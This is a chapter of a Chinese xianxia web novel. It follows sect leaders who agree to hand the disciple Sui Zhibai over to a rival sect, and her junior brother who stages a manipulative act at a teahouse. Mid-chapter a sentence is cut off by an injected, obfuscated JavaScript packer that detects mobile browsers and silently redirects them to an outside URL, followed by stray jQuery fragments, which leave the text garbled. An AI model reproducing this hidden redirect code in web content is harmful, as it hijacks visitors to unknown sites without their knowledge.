24. 茶到师姐身上

作品:《当绿茶遇上白莲花

    段上邪眼见徐章笑里藏刀、素无忧大放厥词,自觉难以为乐追鱼讨回公道。不由得悲从中来,伸手指着吞阳派的人,字字泣血:“你们这帮该死的剑修,欺我千音阁势弱!若我徒儿还在,你们焉敢如此!”


    徐章无奈道:“这又是何出此言……”


    段上邪这老家伙,被悲伤冲昏头脑,开始乱咬一气了。


    “我只要求一个公道!”段上邪话锋一转,对着徐章威胁道:“你若非要护着她,我千音阁必定与你吞阳派不死不休!”


    此话一出,有心之人心思全部活络起来。


    徐章在心里反复忖度衡量。


    段上邪这老头,势必不愿轻易放过岁知柏了,想毫发无伤走脱是不大可能。可他其实并不愿意和千音阁闹到这个地步。


    但若要为了一个已死的乐追鱼,将岁知柏献祭出去,也是绝不可能的。


    毕竟,活人比死人大。


    不如想个办法,缓兵之计。


    于是徐章缓言道:“段阁主何必如此。既然都是为了弟子,也没什么不能谈的。这样,我们各退一步。”


    段上邪冷冷瞧他,想看他能吐出什么象牙。


    徐章缓缓说:“岁知柏,你们可以带走。”


    “什么……”仇江离失声喊出,还没喊完便被素无忧打断。


    素无忧声音比仇江离还大:“什么?绝对不行!”


    徐元也急得大喊:“爹!”


    在外围一直沉默不语的龙奷见状,再度捏紧了手指。


    徐章向下按了按手掌,以示“稍安勿躁”。


    “只是,我有三个条件。第一,决不允许上刑。第二,必须有我派弟子看守。第三,倘若魔族来袭,不能阻止岁知柏参战。”


    段上邪立马同意:“好啊。怎么不好。”


    人带回千音阁,还不是随便处置。


    岁知柏皱了皱眉。


    平心而论,她是不愿去千音阁的。明明没做的事,凭什么要为此付出代价?


    但段上邪咬死了她,要让她给乐追鱼陪葬,徐章妥协让步,她也能够理解。


    事已至此,岁知柏本人反倒没什么意见了。


    岁知柏叹了口气。


    尘埃落定,去就去罢。


    见招拆招。


    素无忧听罢,立刻指着徐章的鼻子破口大骂:“你个老匹夫,把老娘的徒弟送出去是什么意思?人家弃车保帅你弃帅保车?我告诉你,吞阳派一票人都赶不上老娘一个徒弟金贵……”


    于是岁知柏只好拉住素无忧安抚她:“算了算了,师尊,算了算了。”


    段上邪阴阳怪气道:“事情都已经决定,素道友,闹有何用?你慢慢闹,我们千音阁的人都在这等你。”


    素无忧气得要死,恨不得拔剑将这一群人全都杀了泄愤。


    只是,再怎么闹,岁知柏要被千音阁关押之事,也已板上钉钉。


    吞阳派带来的人也觉得憋屈,气势汹汹来,原本以为能救出岁知柏。不想如今只能眼睁睁看着她被千音阁的人带走。


    仇江离怎么都不允许岁知柏单独被带走,坚决要寸步不离呆在岁知柏身边。


    素无忧欣慰拍了拍仇江离的肩膀:“好孩子,长大了。你师姐的安危就交给你了。”


    仇江离有种被依靠的感觉。这种感觉是好是坏,他暂时说不大清。


    临走之前,岁知柏忽然想起了什么,掏出一个小瓶,走到邬樾面前,交给了他。


    邬樾手里攥着小瓶,也有些意外。打开后,将神识探进去,才想起这是什么。


    他握着小瓶,有些沉默。


    龙奷擦干眼泪,将乐追鱼轻轻放平后,站起身来:“你被千音阁的人收买了罢?”


    邬樾听罢,失笑道:“龙大小姐,你也不要误会。我再次声明,我只是就事论事。”


    “若真是就事论事,你也不会那般刻意将杀人者引导向岁知柏了。”


    “你不懂,我也是为了她好。”邬樾把玩着瓷瓶,沉默半晌后,轻描淡写道。


    龙奷嗤笑一声:“那可未必。”


    说罢,她穿过一群人中间,径自离开了。


    “……真是个大小姐。”有人嘟囔道。


    邬樾在原地坐了一会儿,慢慢将手举到唇边,深深地咳了两声。


    *


    离开森林,岁知柏手腕上已戴上了镣铐。


    戴上之后,岁知柏的境界竟被压制为了筑基中期。


    岁知柏抬起手,看着手腕上半透明的圈,有些惊讶地晃了晃。看来这镣铐别有乾坤。


    仇江离见状,凑过去有些雀跃道:“师姐现在跟我修为一样了。”


    岁知柏最听不得这种话。闻言斜睨他一下语气危险道:“不然你也戴一个?”


    仇江离摇摇头:“那怎么行,我还要保护师姐呢。”


    千音阁人不允许岁知柏御剑,也不允许仇江离带着岁知柏一起御剑,于是安排了一名弟子用法器载着岁知柏,仇江离跟在一旁。


    出发去千音阁之前,所有人决定要休整片刻。


    储物戒只能存死物,乐追鱼的尸身如今也算死物了。


    由段上邪亲自纳入储物戒保存着。


    毕竟是来接门派内嫡传弟子的尸身,不算高兴的事。千音阁的弟子们都少言寡语,面对岁知柏就更没什么好脸色了。


    岁知柏正好也懒得说什么,仇江离倒是显得挺高兴的,不时跟岁知柏搭上两句话。


    岁知柏不在尘世已有五年,初入人间,才发觉局势与五年前已大不相同。


    五年前,魔域之事尚且讳莫如深。而如今,茶馆内津津乐道的,竟全都是魔域的人和事。


    “听闻魔域遍地是黄金,去了之后,赚钱的法子多得很!”


    “那快活林,简直人间天堂,一辈子不去一次,枉而为人啊!”


    “不对,应该是枉而为魔。”


    “嘿,这可太搞笑了,魔域的名字这么邪性,没想到魔族的日子过得比人好多了。”


    “嘘,这话可是敢说的?”


    岁知听来,一言未发。


    仇江离啧啧道:“看来,短期内魔族就会动手了。”


    是啊。


    在人界这般大肆宣扬魔域的好处,人界若迟迟不开放两界边境,最终的结果,要么是魔域攻进来,要么是凡人逃出去。


    “只是不知,魔族之人陷害师姐你又是为何。”仇江离道。


    岁知柏不语。心里却道:有何不知,自然是因为我强。


    岁知柏太强了。年轻一代佼佼者如乐追鱼,也不过筑基初期的年纪,岁知柏已直逼金丹。


    她知道自己强,魔族自然也知道。


    这样的战力,最好是据为己有。如果不能,那也最好是毁掉。


    段上邪之所以咬住她不放,其实也有这个原因。


    吞阳派作为剑修门派,本就强势难挡。这一代唯二的两个天才,都被吞阳派抢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223027|181602||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    占先机收入囊中。


    乐追鱼作为千音阁最优秀的弟子,他一死,千音阁后继无人,今后百年内或将停滞不前。


    不仅千音阁担心,其他门派难道不担心吞阳派一家独大,吞并挤占?


    难道真是因为有个魔扮作她的样子杀了人,段上邪就深信不疑了?


    一阁之主又不是傻子。


    当然,门下有几个傻子,这是再聪明的阁主也无法控制的。


    仇江离问完这话,千音阁便有人嗤笑一声。尚嫌不够,他还开始大声嘲讽。


    “真够自以为是的。”


    “魔族闲的发慌,跑到秘境特意陷害你师姐一个身无职务的小小人修吗?”


    说罢,其余人跟着哄笑。那人挑衅般地盯着岁知柏的背影。


    岁知柏却只默默喝了口茶,完全沉浸在自己的思绪中,压根没听见对方的话。


    仇江离正待发作,却敏锐捕捉到那人眼中转瞬即逝的一丝失落。


    那人失落过,忽然觉得有些异样。


    一转头,便发现了仇江离毫不掩饰的眼神。


    打量、探究、了悟。


    转瞬间,此人有种被仇江离看透的惊悚感。


    见他看去,仇江离也只是微微一笑。


    那人不由得心中升起不好的预感。


    仇江离挑衅地瞥那人一眼。接着,将眼神转向岁知柏,用十分逼真的黯然口吻说道:“师姐,对不起。”


    千音阁那弟子见仇江离情绪转换如此迅速,不由得瞪圆了眼睛。


    他拍拍身边的人,试图求证仇江离的变脸行径:“你看到了吗?”


    身边的人正在喝茶被他一拍险些呛进气管,没好气地推开他:“别动我。差点呛死。”


    岁知柏思路被打断,迷茫地抬起头,完全不知道仇江离在说什么。


    对不起?仇江离向她说对不起吗?


    岁知柏迷茫开口:“为什么……”


    仇江离打断她,低头隐下了自己的神情,隐忍道:“都是我太任性,才总要让师姐替我收拾烂摊子,我做错了事,挨骂的也是师姐。刚刚我说魔族陷害师姐,还被他们嘲笑自以为是了。”


    “师姐,我真的很自以为是吗?”


    看见一向精神的师弟蔫得像个霜打的茄子,耳朵里再听着他刻意告状的话语,岁知柏一方面是不忍,另一方面被激发了娘胎里带的保护欲,软下语气安抚他:“当然不会。你这是说的什么话。”


    接着,岁知柏皱眉转向身后,面对一票千音阁弟子,劝告道:“诸位。身陷非议的是我,并非我师弟。即便有什么,也请冲着我来。不要欺负他一个小孩子。”


    仇江离抬头,在岁知柏看不见的地方,眼神露出七分恶意,箭一样直直地射向出言不逊的那名千音阁弟子。


    那名弟子一面被岁知柏正气凛然的眼神盯着,一面面对着仇江离的挑衅,脸色肉眼可见地红起来。


    “你个!你个!小人!”他被仇江离的眼神刺激恼羞成怒,站起来似乎要打人。


    可怜见的,词汇量太少,完全不知道该如何批判仇江离的这种绿茶行径。


    千音阁的人赶忙七手八脚拦下他:“算了算了。毕竟是你先挑事的。”


    “就是,打不过,算了罢。”


    仇江离看着那人有苦说不出,简直高兴得不得了,不由得捧腹无声大笑。


    岁知柏替他撑完了腰,猝不及防转头,将他的兴高采烈看了个全。